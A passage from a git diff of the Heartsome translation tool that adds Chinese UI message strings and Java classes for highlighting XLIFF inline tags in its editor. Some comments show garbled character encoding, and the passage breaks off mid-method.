\u7684\u8bbf\u95ee\u7aef\u53e3\u3002 + +projectsetting.ProjectSettingBaseInfoPage.title = \u9879\u76ee\u4fe1\u606f +projectsetting.ProjectSettingBaseInfoPage.projectNameLabel = \u9879\u76ee\u540d\u79f0\uff1a +projectsetting.ProjectSettingBaseInfoPage.sourceLangLabel = \u6e90\u8bed\u8a00\uff1a +projectsetting.ProjectSettingBaseInfoPage.targetlangLabel = \u76ee\u6807\u8bed\u8a00\uff1a +projectsetting.ProjectSettingBaseInfoPage.clientText = \u5ba2\u6237\uff1a +projectsetting.ProjectSettingBaseInfoPage.companyText = \u516c\u53f8\uff1a +projectsetting.ProjectSettingBaseInfoPage.emailText = \u7535\u5b50\u90ae\u7bb1\uff1a +projectsetting.ProjectSettingBaseInfoPage.remarkText = \u5907\u6ce8\uff1a +projectsetting.ProjectSettingDialog.title = \u9879\u76ee\u8bbe\u7f6e +projectsetting.ProjectSettingLanguagePage.title = \u9879\u76ee\u8bed\u8a00 +projectsetting.ProjectSettingLanguagePage.msgTitle = \u63d0\u793a +projectsetting.ProjectSettingLanguagePage.msg1 = \u8bf7\u9009\u62e9\u76ee\u6807\u8bed\u8a00\u3002 +projectsetting.ProjectSettingLanguagePage.msg2 = \u6e90\u8bed\u8a00\u548c\u76ee\u6807\u8bed\u8a00\u4e0d\u80fd\u76f8\u540c\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +projectsetting.ProjectSettingLanguagePage.sourceLanguageGrp = \u6e90\u8bed\u8a00(&S) +projectsetting.ProjectSettingLanguagePage.targetLanguageGrp = \u76ee\u6807\u8bed\u8a00(&T) +projectsetting.ProjectSettingLanguagePage.addBtn = \u6dfb\u52a0(&A) > +projectsetting.ProjectSettingLanguagePage.deleteBtn = < \u79fb\u9664(&R) +projectsetting.ProjectSettingLanguagePage.deleteAllBtn = << \u5168\u90e8\u79fb\u9664(&M) + +propertyTester.MultiSelectionPropertyTester.logger1 = [LOG] \u4ece\u6587\u4ef6\u5939 {0} \u83b7\u53d6 XLIFF \u6587\u4ef6\u5931\u8d25 + +util.DataSourceHelper.logger1 = [LOG] \u83b7\u53d6 {0} \u5b9e\u4f8b\u65f6\u51fa\u73b0\u5f02\u5e38\u3002 +util.DataSourceHelper.logger2 = [LOG] \u5728\u5411 EditorInput \u4e2d\u4fdd\u5b58 {0} \u5bf9\u8c61\u65f6\u53d1\u751f\u5f02\u5e38\u3002 + +wizard.NewProjectWizard.title = \u65b0\u5efa\u9879\u76ee\u5411\u5bfc +wizard.NewProjectWizard.logger1 = [LOG] \u52a0\u8f7d\u65b0\u5efa\u5411\u5bfc\u6269\u5c55\u70b9\u51fa\u9519 +wizard.NewProjectWizard.logger2 = [LOG] \u52a0\u8f7d\u8f6c\u6362\u5668\u6269\u5c55\u70b9\u51fa\u9519 +wizard.NewProjectWizard.task1 = \u6b63\u5728\u521b\u5efa\u9879\u76ee... +wizard.NewProjectWizard.logger3 = [LOG] \u9879\u76ee\u65b0\u5efa\u5411\u5bfc\uff0c\u590d\u5236\u6e90\u6587\u4ef6\u65f6\u6e05\u7a7a\u8d44\u6e90\u51fa\u9519 +wizard.NewProjectWizard.logger4 = [LOG] \u9879\u76ee\u65b0\u5efa\u5411\u5bfc\uff0c\u590d\u5236\u6e90\u6587\u4ef6\u51fa\u9519 +wizard.NewProjectWizard.logger5 = [LOG] \u9879\u76ee\u65b0\u5efa\u5411\u5bfc\uff0c\u521b\u5efa\u9879\u76ee\u8d44\u6e90\u51fa\u9519 +wizard.NewProjectWizard.logger6 = [LOG] \u9879\u76ee\u65b0\u5efa\u5411\u5bfc\uff0c\u521b\u5efa\u9879\u76ee\u76ee\u5f55\u8d44\u6e90\u51fa\u9519 +wizard.NewProjectWizard.task2 = \u6b63\u5728\u521d\u59cb\u5316\u9879\u76ee\u914d\u7f6e\u4fe1\u606f... +wizard.NewProjectWizard.task3 = \u6b63\u5728\u590d\u5236\u6587\u4ef6... +wizard.NewProjectWizard.msgTitle = \u63d0\u793a +wizard.NewProjectWizard.msg1 = \u8be5\u6587\u4ef6\u5df2\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f +wizard.NewProjectWizard.msg2 = \u590d\u5236\u6587\u4ef6 {0} \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +wizard.NewProjectWizardLanguagePage.title = \u8bed\u8a00\u5bf9 +wizard.NewProjectWizardLanguagePage.desc = \u9009\u62e9\u9879\u76ee\u7684\u6e90\u8bed\u8a00\uff0c\u4f7f\u7528\u201c\u6dfb\u52a0\u201d\u548c\u201c\u79fb\u9664\u201d\u7b49\u6309\u94ae\u8bbe\u7f6e\u9879\u76ee\u7684\u76ee\u6807\u8bed\u8a00\u3002 +wizard.NewProjectWizardLanguagePage.sourceLanguageGrp = \u6e90\u8bed\u8a00(&S) +wizard.NewProjectWizardLanguagePage.targetLanguageGrp = \u76ee\u6807\u8bed\u8a00(&T) +wizard.NewProjectWizardLanguagePage.addBtn = \u6dfb\u52a0(&A) > +wizard.NewProjectWizardLanguagePage.deleteBtn = < \u79fb\u9664(&R) +wizard.NewProjectWizardLanguagePage.deleteAllBtn = << \u5168\u90e8\u79fb\u9664(&M) +wizard.NewProjectWizardLanguagePage.msg1 = \u8bf7\u9009\u62e9\u6e90\u8bed\u8a00 +wizard.NewProjectWizardLanguagePage.msg2 = \u8bf7\u6dfb\u52a0\u81f3\u5c11\u4e00\u4e2a\u76ee\u6807\u8bed\u8a00 +wizard.NewProjectWizardLanguagePage.msg3 = \u6e90\u8bed\u8a00\u548c\u76ee\u6807\u8bed\u8a00\u4e0d\u80fd\u76f8\u540c\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9 +wizard.NewProjectWizardProjInfoPage.title = \u9879\u76ee\u4fe1\u606f +wizard.NewProjectWizardProjInfoPage.desc = \u586b\u5199\u9879\u76ee\u7684\u57fa\u672c\u4fe1\u606f\u3002 +wizard.NewProjectWizardProjInfoPage.projectNameText = \u9879\u76ee\u540d\u79f0(&A)\uff1a +wizard.NewProjectWizardProjInfoPage.clientText = \u5ba2\u6237(&C)\uff1a +wizard.NewProjectWizardProjInfoPage.companyText = \u516c\u53f8(&M)\uff1a +wizard.NewProjectWizardProjInfoPage.emailText = \u7535\u5b50\u90ae\u7bb1(&E)\uff1a +wizard.NewProjectWizardProjInfoPage.remarkText = \u5907\u6ce8(&R)\uff1a +wizard.NewProjectWizardProjInfoPage.msg1 = \u8be5\u9879\u76ee\u540d\u79f0\u5df2\u88ab\u4f7f\u7528\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165 +wizard.NewProjectWizardProjInfoPage.msg2 = \u8be5\u9879\u76ee\u540d\u79f0\u5df2\u88ab\u4f7f\u7528\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165 +wizard.NewProjectWizardSourceFilePage.title = \u6dfb\u52a0\u6e90\u6587\u4ef6 +wizard.NewProjectWizardSourceFilePage.desc = \u6dfb\u52a0\u8be5\u9879\u76ee\u9700\u8981\u7ffb\u8bd1\u7684\u6e90\u8bed\u8a00\u6587\u4ef6\u3002 +wizard.NewProjectWizardSourceFilePage.btnConvert = \u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF +wizard.NewProjectWizardSourceFilePage.addBtn = \u6dfb\u52a0(&A) +wizard.NewProjectWizardSourceFilePage.deleteBtn = \u79fb\u9664(&R) + +######################## 2012-09-03 \u65b0\u589e\u5185\u5bb9 ####################################### +colors.ColorsPreferencePage.wrongTagColor = \u9519\u8bef\u6807\u8bb0\u989c\u8272\uff1a + +# 2012-10-18 add by jason \u6dfb\u52a0\u5b57\u4f53\u8bbe\u7f6e\u529f\u80fd +preferencepage.SystemPreferencePage.groupFont = \u5b57\u4f53 +preferencepage.SystemPreferencePage.groupFont.desc = \u8bbe\u7f6e XLIFF \u7f16\u8f91\u5668\u3001\u8bb0\u5fc6\u5e93\u5339\u914d\u89c6\u56fe\u4ee5\u53ca\u672f\u8bed\u5339\u914d\u89c6\u56fe\u7684\u5b57\u4f53\u548c\u5b57\u53f7\uff1a + +handler.OpenMultiXliffHandler.tip1 = \u6b63\u5728\u5408\u5e76\u6253\u5f00... + +######################## 2012-11-20 ####################################### +handlers.NewProjectHandler.finishLbl = \u521b\u5efa + +######################## 2012-11-23 ####################################### +preferencepage.ProjectPropertiesPreferencePage.title = \u9879\u76ee\u5c5e\u6027 +preferencepage.ProjectPropertiesPreferencePage.groupField = \u81ea\u5b9a\u4e49\u6587\u672c\u5b57\u6bb5 +preferencepage.ProjectPropertiesPreferencePage.imageLabel1 = \u7ba1\u7406\u8981\u5728\u9879\u76ee\u4e2d\u4f7f\u7528\u7684\u6587\u672c\u7c7b\u578b\u81ea\u5b9a\u4e49\u5b57\u6bb5\uff1a +preferencepage.ProjectPropertiesPreferencePage.lblField = \u5b57\u6bb5\u540d\u79f0\uff1a +preferencepage.ProjectPropertiesPreferencePage.btnFieldAdd = \u6dfb\u52a0\u6587\u672c\u5b57\u6bb5 +preferencepage.ProjectPropertiesPreferencePage.btnFieldDel = \u5220\u9664\u6587\u672c\u5b57\u6bb5 +preferencepage.ProjectPropertiesPreferencePage.groupAttr = \u81ea\u5b9a\u4e49\u5c5e\u6027\u5b57\u6bb5 +preferencepage.ProjectPropertiesPreferencePage.imageLabel2 = \u7ba1\u7406\u8981\u5728\u9879\u76ee\u4e2d\u4f7f\u7528\u7684\u5c5e\u6027\u7c7b\u578b\u81ea\u5b9a\u4e49\u5b57\u6bb5\uff0c\u9700\u8981\u4e3a\u5c5e\u6027\u5b57\u6bb5\u6307\u5b9a\u9884\u8bbe\u503c\uff1a +preferencepage.ProjectPropertiesPreferencePage.lblAttrName = \u5b57\u6bb5\u540d\u79f0\uff1a +preferencepage.ProjectPropertiesPreferencePage.lblAttrVal = \u9884\u8bbe\u503c\uff1a +preferencepage.ProjectPropertiesPreferencePage.btnAttrNameAdd = \u6dfb\u52a0\u5c5e\u6027\u5b57\u6bb5 +preferencepage.ProjectPropertiesPreferencePage.btnAttrNameDel = \u5220\u9664\u5c5e\u6027\u5b57\u6bb5 +preferencepage.ProjectPropertiesPreferencePage.btnAttrValAdd = \u6dfb\u52a0\u9884\u8bbe\u503c +preferencepage.ProjectPropertiesPreferencePage.btnAttrValDel = \u5220\u9664\u9884\u8bbe\u503c +preferencepage.ProjectPropertiesPreferencePage.msgTitle1 = \u786e\u8ba4 +preferencepage.ProjectPropertiesPreferencePage.msg1 = \u786e\u5b9a\u8981\u5220\u9664\u9009\u4e2d\u7684\u6570\u636e\u5417\uff1f +preferencepage.ProjectPropertiesPreferencePage.AddDialog.title1 = \u6dfb\u52a0\u6587\u672c\u5b57\u6bb5 +preferencepage.ProjectPropertiesPreferencePage.AddDialog.title2 = \u6dfb\u52a0\u5c5e\u6027\u5b57\u6bb5 +preferencepage.ProjectPropertiesPreferencePage.AddDialog.title3 = \u6dfb\u52a0\u5c5e\u6027\u9884\u8bbe\u503c +preferencepage.ProjectPropertiesPreferencePage.AddDialog.lbl1 = \u5b57\u6bb5\u540d\u79f0\uff1a +preferencepage.ProjectPropertiesPreferencePage.AddDialog.lbl2 = \u5b57\u6bb5\u540d\u79f0\uff1a +preferencepage.ProjectPropertiesPreferencePage.AddDialog.lbl3 = \u9884\u8bbe\u503c\uff1a +preferencepage.ProjectPropertiesPreferencePage.msgTitle2 = \u63d0\u793a +preferencepage.ProjectPropertiesPreferencePage.msg5 = \u8be5\u6587\u672c\u5b57\u6bb5\u540d\u79f0\u5df2\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +preferencepage.ProjectPropertiesPreferencePage.msg6 = \u8be5\u5c5e\u6027\u5b57\u6bb5\u540d\u79f0\u5df2\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +preferencepage.ProjectPropertiesPreferencePage.msg7 = \u8be5\u5c5e\u6027\u503c\u5df2\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +wizards.NewProjectWizardProjInfoPage.groupField = \u9879\u76ee\u5c5e\u6027 + +######################## 2012-11-26 ####################################### +wizards.NewProjectWizardProjInfoPage.colon = \uff1a +preferencepage.ProjectPropertiesPreferencePage.msg8 = \u8bf7\u9009\u62e9\u8981\u5220\u9664\u7684\u6570\u636e\u3002 +preferencepage.ProjectPropertiesPreferencePage.msg9 = \u8bf7\u5148\u9009\u62e9\u4e00\u4e2a\u5c5e\u6027\u5b57\u6bb5\uff0c\u7136\u540e\u624d\u80fd\u4e3a\u5176\u6dfb\u52a0\u9884\u8bbe\u503c\u3002 + +######################## 2012-11-28 ####################################### +preferencepage.ProjectPropertiesPreferencePage.btnFieldEdit = \u7f16\u8f91\u6587\u672c\u5b57\u6bb5 +preferencepage.ProjectPropertiesPreferencePage.btnAttrNameEdit = \u7f16\u8f91\u5c5e\u6027\u5b57\u6bb5 +preferencepage.ProjectPropertiesPreferencePage.btnAttrValEdit = \u7f16\u8f91\u9884\u8bbe\u503c +preferencepage.ProjectPropertiesPreferencePage.msg10 = \u8bf7\u9009\u62e9\u8981\u7f16\u8f91\u7684\u6570\u636e\u3002 +preferencepage.ProjectPropertiesPreferencePage.msg11 = \u4e0d\u80fd\u540c\u65f6\u7f16\u8f91\u591a\u6761\u6570\u636e\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u8981\u7f16\u8f91\u7684\u6570\u636e\u3002 +preferencepage.ProjectPropertiesPreferencePage.AddDialog.title4 = \u7f16\u8f91\u6587\u672c\u5b57\u6bb5 +preferencepage.ProjectPropertiesPreferencePage.AddDialog.title5 = \u7f16\u8f91\u5c5e\u6027\u5b57\u6bb5 +preferencepage.ProjectPropertiesPreferencePage.AddDialog.title6 = \u7f16\u8f91\u5c5e\u6027\u9884\u8bbe\u503c +preference.PreferenceUtil.logger1 = [LOG]\u83b7\u53d6\u7248\u672c\u4fe1\u606f\u65f6\u51fa\u73b0\u9519\u8bef +wizards.NewProjectWizardDialog.btnSetting = \u9009\u9879(&O)... + +######################## 2012-12-04 ####################################### +preferencepage.ProjectPropertiesPreferencePage.msg12 = \u5b57\u6bb5\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a\u683c\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +preferencepage.ProjectPropertiesPreferencePage.msg13 = \u5b57\u6bb5\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a\u683c\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +preferencepage.ProjectPropertiesPreferencePage.msg14 = \u9884\u8bbe\u503c\u4e0d\u80fd\u4e3a\u7a7a\u683c\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +preferencepage.ProjectPropertiesPreferencePage.msg15 = \u6587\u672c\u4e0d\u80fd\u8d85\u8fc7 50 \u4e2a\u534a\u89d2\u5b57\u7b26\uff08\u4e0d\u5305\u62ec\u9996\u5c3e\u7a7a\u683c\uff09\u3002 +wizard.NewProjectWizardProjInfoPage.msg3 = \u6587\u672c\u5b57\u6bb5\u503c\u4e0d\u80fd\u5168\u4e3a\u7a7a\u683c\u3002 +wizard.NewProjectWizardProjInfoPage.msg4 = \u6587\u672c\u5b57\u6bb5\u503c\u4e0d\u80fd\u8d85\u8fc7 50 \u4e2a\u534a\u89d2\u5b57\u7b26\uff08\u4e0d\u5305\u62ec\u9996\u5c3e\u7a7a\u683c\uff09\u3002 + +# 2013-01-10 add by jason +colors.ColorsPreferencePage.groupTerms = \u672f\u8bed\u5e93\u5339\u914d +colors.ColorsPreferencePage.highlightedTermColor = \u672f\u8bed\u9ad8\u4eae\u8272\uff1a + +# 2013-04-08 add by jason +preferencepage.fontsetting.editor.title = \u7f16\u8f91\u5668\u5b57\u4f53 +preferencepage.fontsetting.matchView.title = \u8bb0\u5fc6\u5e93/\u672f\u8bed\u5e93\u5339\u914d\u5b57\u4f53 + +# 2013-04-25 and by robert +NewProjectWizardProjInfoPage.valid.waring = {0} \u5728\u8d44\u6e90\u540d\u79f0\u201c{1}\u201d\u4e2d\u662f\u65e0\u6548\u5b57\u7b26\u3002 diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/tagstyle/InnerTagRule.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/tagstyle/InnerTagRule.java new file mode 100644 index 0000000..707db2b --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/tagstyle/InnerTagRule.java @@ -0,0 +1,85 @@ +package net.heartsome.cat.ts.ui.tagstyle; + +import java.util.Set; + +import org.eclipse.jface.text.rules.ICharacterScanner; +import org.eclipse.jface.text.rules.IToken; +import org.eclipse.jface.text.rules.IWordDetector; +import org.eclipse.jface.text.rules.Token; +import org.eclipse.jface.text.rules.WordRule; + +public class InnerTagRule extends WordRule { + + public InnerTagRule(int ruleType, IWordDetector detector) { + super(detector); + this.ruleType = ruleType; + } + + public static int TYPE_TAG_START_INDEX = -1; + + public static int TYPE_TAG_END_INDEX = 0; + + public static int TYPE_TAG_Content = 1; + + private int ruleType; + + private static boolean start = false; + + /** Buffer used for pattern detection. */ + private StringBuffer fBuffer = new StringBuffer(); + + @SuppressWarnings("unchecked") + @Override + public IToken evaluate(ICharacterScanner scanner) { + int c = scanner.read(); + if (c != ICharacterScanner.EOF && fDetector.isWordStart((char) c)) { + if (fColumn == UNDEFINED || (fColumn == scanner.getColumn() - 1)) { + fBuffer.setLength(0); + do { + fBuffer.append((char) c); + c = scanner.read(); + } while (fDetector.isWordPart((char) c) && c != ICharacterScanner.EOF); + scanner.unread(); + + String buffer = fBuffer.toString(); + IToken token = null; + Set set = fWords.keySet(); + for (String re : set) { + if (re != null && buffer.matches(re)) { + token = (IToken) fWords.get(re); + break; + } + } + + if (token != null) { // 匹é…å¹¶å¾—åˆ°æ ·å¼ + if (ruleType == TYPE_TAG_START_INDEX || ruleType == TYPE_TAG_Content) { + start = true; + return token; + } else if (ruleType == TYPE_TAG_END_INDEX && start) { + start = false; + return token; + } + } + if (fDefaultToken.isUndefined()) { + unreadBuffer(scanner); + } + return fDefaultToken; + } + } else { + // 当检查到最åŽä¸€ä¸ªè§„则(此顺åºå’Œ TagStyleConfiguration.getRecipeScanner() 中的规则加载顺åºä¸€è‡´ï¼‰ + // ä»ç„¶æ²¡æœ‰åŒ¹é…的时候,将 start 状æ€æ¢å¤ä¸º false。 + if (ruleType == TYPE_TAG_Content) { + start = false; + } + } + + scanner.unread(); + return Token.UNDEFINED; + } + + @Override + protected void unreadBuffer(ICharacterScanner scanner) { + for (int i = fBuffer.length() - 1; i >= 0; i--) + scanner.unread(); + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/tagstyle/InnerTagScanner.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/tagstyle/InnerTagScanner.java new file mode 100644 index 0000000..cffbed4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/tagstyle/InnerTagScanner.java @@ -0,0 +1,190 @@ +package net.heartsome.cat.ts.ui.tagstyle; + +import net.heartsome.cat.common.innertag.TagStyle; +import net.heartsome.cat.common.ui.utils.InnerTagUtil; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.jface.resource.StringConverter; +import org.eclipse.jface.text.rules.IRule; +import org.eclipse.jface.text.rules.IWordDetector; +import org.eclipse.jface.text.rules.RuleBasedScanner; +import org.eclipse.jface.text.rules.Token; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.TextStyle; + +public class InnerTagScanner extends RuleBasedScanner { + + private Token tagIndexToken; + private Token tagContentToken; + private IPreferenceStore store; + private boolean isIndex; + + public InnerTagScanner(IPreferenceStore store, String foregroundKey, String backgroundKey) { + this.store = store; + initialize(foregroundKey, backgroundKey); + isIndex = false; + } + + public InnerTagScanner(IPreferenceStore store, String foregroundKey, String backgroundKey, boolean isIndex) { + this(store, foregroundKey, backgroundKey); + this.isIndex = isIndex; + } + + private void initialize(String foregroundKey, String backgroundKey) { + updateToken(foregroundKey, backgroundKey); + + IRule[] rules = new IRule[3]; + rules[0] = createTagStartIndexRule(); // 创建标记开始索引规则 + rules[1] = createTagEndIndexRule(); // 创建标记结æŸç´¢å¼•è§„则 + rules[2] = createTagContentRule(); // 创建标记正文规则 + + setRules(rules); + } + + protected void updateToken(String foregroundKey, String backgroundKey) { + if (tagContentToken == null) { + tagContentToken = new Token(null); + } + if (tagIndexToken == null) { + tagIndexToken = new Token(null); + } + tagIndexToken.setData(createTextStyle(foregroundKey, backgroundKey)); + tagContentToken.setData(createTextStyle(backgroundKey, foregroundKey)); + } + + private Color getColor(String colorKey) { + String tagfg = store.getString(colorKey); + return GUIHelper.getColor(StringConverter.asRGB(tagfg)); + } + + private TextStyle createTextStyle(String foregroundKey, String backgroundKey) { + Color foreground = getColor(foregroundKey); + Color background = getColor(backgroundKey); + return new TextStyle(JFaceResources.getFont(net.heartsome.cat.ts.ui.Constants.XLIFF_EDITOR_TEXT_FONT), foreground, background); + } + + /** + * 创建标记开始索引规则 + * @return ; + */ + private IRule createTagStartIndexRule() { + InnerTagRule wordRule = new InnerTagRule(InnerTagRule.TYPE_TAG_START_INDEX, new TagStartIndexDetector()); + wordRule.addWord("^((" + InnerTagUtil.INVISIBLE_CHAR + "\\d+)|(\\d+" + InnerTagUtil.INVISIBLE_CHAR + "))$", tagIndexToken); + + return wordRule; + } + + /** + * 创建标记结æŸç´¢å¼•è§„则 + * @return ; + */ + private IRule createTagEndIndexRule() { + InnerTagRule wordRule = new InnerTagRule(InnerTagRule.TYPE_TAG_END_INDEX, new TagEndIndexDetector()); + wordRule.addWord("^\\d+" + InnerTagUtil.INVISIBLE_CHAR + "$", tagIndexToken); + + return wordRule; + } + + /** + * 创建标记正文规则 + * @return ; + */ + private IRule createTagContentRule() { + InnerTagRule wordRule = new InnerTagRule(InnerTagRule.TYPE_TAG_Content, new TagContentDetector()); + // "^_(x|bx|ex|ph|g|bpt|ept|ph|it|mrk|sub)_$" 匹é…简å•æ ‡è®°å’Œå®Œæ•´æ ‡è®° + wordRule.addWord("^" + InnerTagUtil.INVISIBLE_CHAR + "((x|bx|ex|ph|g|bpt|ept|ph|it|mrk|sub)"+ + "|(<(x|bx|ex|ph|bpt|ept|ph|it|mrk|sub)\\s*(\\w*\\s*=\\s*('|\")(.|\n)*('|\"))*>?(.|\n)*)"+ + "|()|)" + + InnerTagUtil.INVISIBLE_CHAR + "$", tagContentToken); + + return wordRule; + } + + /** + * 内部标记开始索引部分的探测器 + * @author weachy + * @version + * @since JDK1.6 + */ + class TagStartIndexDetector implements IWordDetector { + + public boolean isWordStart(char c) { + if(isIndex){ + return c == InnerTagUtil.INVISIBLE_CHAR || Character.isDigit(c); + } + if (TagStyle.curStyle == TagStyle.INDEX) { + return c == InnerTagUtil.INVISIBLE_CHAR || Character.isDigit(c); + } else { + return c == InnerTagUtil.INVISIBLE_CHAR; + } + } + + public boolean isWordPart(char c) { + if(isIndex){ + return c == InnerTagUtil.INVISIBLE_CHAR || Character.isDigit(c); + } + if (TagStyle.curStyle == TagStyle.INDEX) { + return c == InnerTagUtil.INVISIBLE_CHAR || Character.isDigit(c); + } else { + return Character.isDigit(c); + } + } + } + + /** + * 内部标记结æŸç´¢å¼•éƒ¨åˆ†çš„探测器 + * @author weachy + * @version + * @since JDK1.6 + */ + class TagEndIndexDetector implements IWordDetector { + + private boolean end = false; + + public boolean isWordStart(char c) { + return Character.isDigit(c); + } + + public boolean isWordPart(char c) { + if (end) { + end = false; + return false; + } + if (c == InnerTagUtil.INVISIBLE_CHAR) { + end = true; + } + return Character.isDigit(c) || c == InnerTagUtil.INVISIBLE_CHAR; + } + } + + /** + * 内部标记标记内容部分的探测器 + * @author weachy + * @version + * @since JDK1.6 + */ + class TagContentDetector implements IWordDetector { + + private boolean end = false; + + public boolean isWordStart(char c) { + return c == InnerTagUtil.INVISIBLE_CHAR; + } + + public boolean isWordPart(char c) { + if (end) { + end = false; + return false; + } + if (c == InnerTagUtil.INVISIBLE_CHAR) { + end = true; + return true; + } +// return Character.isLetter(c); +// 当显示完整标记时,å¯èƒ½æ ‡è®°ä¸­ä¼šå«æœ‰ç©ºæ ¼ç­‰å­—符,因此返回 true + return true; + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/tagstyle/PresentationRepairer.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/tagstyle/PresentationRepairer.java new file mode 100644 index 0000000..bf3bbc4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/tagstyle/PresentationRepairer.java @@ -0,0 +1,106 @@ +package net.heartsome.cat.ts.ui.tagstyle; + +import org.eclipse.core.runtime.Assert; +import org.eclipse.jface.text.IDocument; +import org.eclipse.jface.text.ITypedRegion; +import org.eclipse.jface.text.TextPresentation; +import org.eclipse.jface.text.presentation.IPresentationRepairer; +import org.eclipse.jface.text.rules.IToken; +import org.eclipse.jface.text.rules.ITokenScanner; +import org.eclipse.jface.text.rules.Token; +import org.eclipse.swt.custom.StyleRange; +import org.eclipse.swt.graphics.TextStyle; + +public class PresentationRepairer implements IPresentationRepairer { + + /** The document this object works on */ + protected IDocument fDocument; + /** The scanner it uses */ + protected ITokenScanner fScanner; + /** The default text style if non is returned as data by the current token */ + protected TextStyle fDefaultTextStyle; + + public PresentationRepairer(ITokenScanner scanner) { + Assert.isNotNull(scanner); + + fScanner = scanner; + fDefaultTextStyle = new TextStyle(); + } + + public void setDocument(IDocument document) { + this.fDocument = document; + } + + public void createPresentation(TextPresentation presentation, ITypedRegion region) { + if (fScanner == null) { + // will be removed if deprecated constructor will be removed + addRange(presentation, region.getOffset(), region.getLength(), fDefaultTextStyle); + return; + } + + int lastStart = region.getOffset(); + int length = 0; + boolean firstToken = true; + IToken lastToken = Token.UNDEFINED; + TextStyle lastTextStyle = getTokenTextStyle(lastToken); + + fScanner.setRange(fDocument, lastStart, region.getLength()); + + while (true) { + IToken token = fScanner.nextToken(); + if (token.isEOF()) + break; + + TextStyle textStyle = getTokenTextStyle(token); + if (lastTextStyle != null && lastTextStyle.equals(textStyle)) { + length += fScanner.getTokenLength(); + firstToken = false; + } else { + if (!firstToken) + addRange(presentation, lastStart, length, lastTextStyle); + firstToken = false; + lastToken = token; + lastTextStyle = textStyle; + lastStart = fScanner.getTokenOffset(); + length = fScanner.getTokenLength(); + } + } + + addRange(presentation, lastStart, length, lastTextStyle); + } + + /** + * Returns a text style encoded in the given token. If the token's data is not null and a text style it + * is assumed that it is the encoded text style. It returns the default text style if there is no encoded text style + * found. + * @param token + * the token whose text style is to be determined + * @return the token's text style + */ + protected TextStyle getTokenTextStyle(IToken token) { + Object data = token.getData(); + if (data instanceof TextStyle) + return (TextStyle) data; + return fDefaultTextStyle; + } + + /** + * Adds style information to the given text presentation. + * @param presentation + * the text presentation to be extended + * @param offset + * the offset of the range to be styled + * @param length + * the length of the range to be styled + * @param textStyle + * the style of the range to be styled + */ + protected void addRange(TextPresentation presentation, int offset, int length, TextStyle textStyle) { + if (textStyle != null) { + StyleRange styleRange = new StyleRange(textStyle); + styleRange.start = offset; + styleRange.length = length; + presentation.addStyleRange(styleRange); + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/tagstyle/TagStyleConfigurator.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/tagstyle/TagStyleConfigurator.java new file mode 100644 index 0000000..a2f87a6 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/tagstyle/TagStyleConfigurator.java @@ -0,0 +1,77 @@ +package net.heartsome.cat.ts.ui.tagstyle; + +import net.heartsome.cat.ts.ui.Activator; +import net.heartsome.cat.ts.ui.bean.IColorPreferenceConstant; + +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.text.Document; +import org.eclipse.jface.text.IDocument; +import org.eclipse.jface.text.ITextViewer; +import org.eclipse.jface.text.presentation.IPresentationReconciler; +import org.eclipse.jface.text.presentation.PresentationReconciler; +import org.eclipse.jface.text.rules.IToken; +import org.eclipse.jface.text.rules.ITokenScanner; +import org.eclipse.jface.text.rules.Token; +import org.eclipse.swt.graphics.TextLayout; +import org.eclipse.swt.graphics.TextStyle; + +public class TagStyleConfigurator { + + public static void configure(TextLayout textLayout) { + String text = textLayout.getText(); + Document doc = new Document(text); + ITokenScanner scanner = getRecipeScanner(doc); + scanner.setRange(doc, 0, doc.getLength()); + IToken token; + while ((token = scanner.nextToken()) != Token.EOF) { + int offset = scanner.getTokenOffset(); + int length = scanner.getTokenLength(); + Object data = token.getData(); + if (data != null && data instanceof TextStyle) { + TextStyle textStyle = (TextStyle) data; + textLayout.setStyle(textStyle, offset, offset + length - 1); + } + } + scanner = null; + doc = null; + } + + public static void configure(ITextViewer viewer) { + getPresentationReconciler(viewer); + } + + private static IPresentationReconciler getPresentationReconciler(ITextViewer viewer) { + // 构造函数中,已ç»é»˜è®¤è®¾ç½® IDocumentExtension3.DEFAULT_PARTITIONING + PresentationReconciler reconciler = new PresentationReconciler(); + PresentationRepairer repairer = new PresentationRepairer(getRecipeScanner(viewer.getDocument())); + reconciler.setRepairer(repairer, IDocument.DEFAULT_CONTENT_TYPE); + + reconciler.install(viewer); + return reconciler; + } + + private static ITokenScanner getRecipeScanner(final IDocument doc) { + IPreferenceStore store = 